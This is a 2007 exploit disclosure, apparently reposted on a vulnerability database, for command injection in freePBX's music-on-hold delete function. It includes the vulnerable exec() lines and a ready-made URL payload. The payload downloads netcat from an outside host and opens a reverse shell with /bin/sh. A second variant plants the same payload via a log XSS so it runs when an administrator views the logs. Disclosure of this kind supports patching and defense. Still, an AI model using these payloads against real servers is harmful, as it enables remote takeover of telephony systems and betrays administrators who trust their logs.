Lucene search
+L

asterisk-inject.txt

🗓️ 24 Apr 2007 00:00:00Reported by XenoMutaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Code injection found in freePBX's music-on-hold module with insufficient filter

Code
`I've found a code injection in the music-on-hold module at freePBX's   
portal.  
  
There are Inssuficient filters in the delete functions. Only " '   
and ; are being filtered.  
  
Vulnerable Lines:  
300: $rmcmd="rm -f \"".$path_to_dir."/".   
$del."\"";  
301: exec($rmcmd);  
  
  
Example code:  
http://<freePBX-host>/admin/config.php?display=music&del=\`wget -q   
http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc   
myhost.mydomain.com 1234 -e /bin/sh\`&category=default  
  
  
You can inject this code without access to the portal into the /var/   
log/asterisk/full this way...  
./asteriskxss.php asterisk-server "<img src=\"/admin/config.php?   
display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc   
\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">"  
hoping that an administrator to view the logs from the portals....   
using the documented XSS vulnerability posted here...  
  
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/   
053882.html  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2007 00:00Current
7.4High risk
Vulners AI Score7.4
22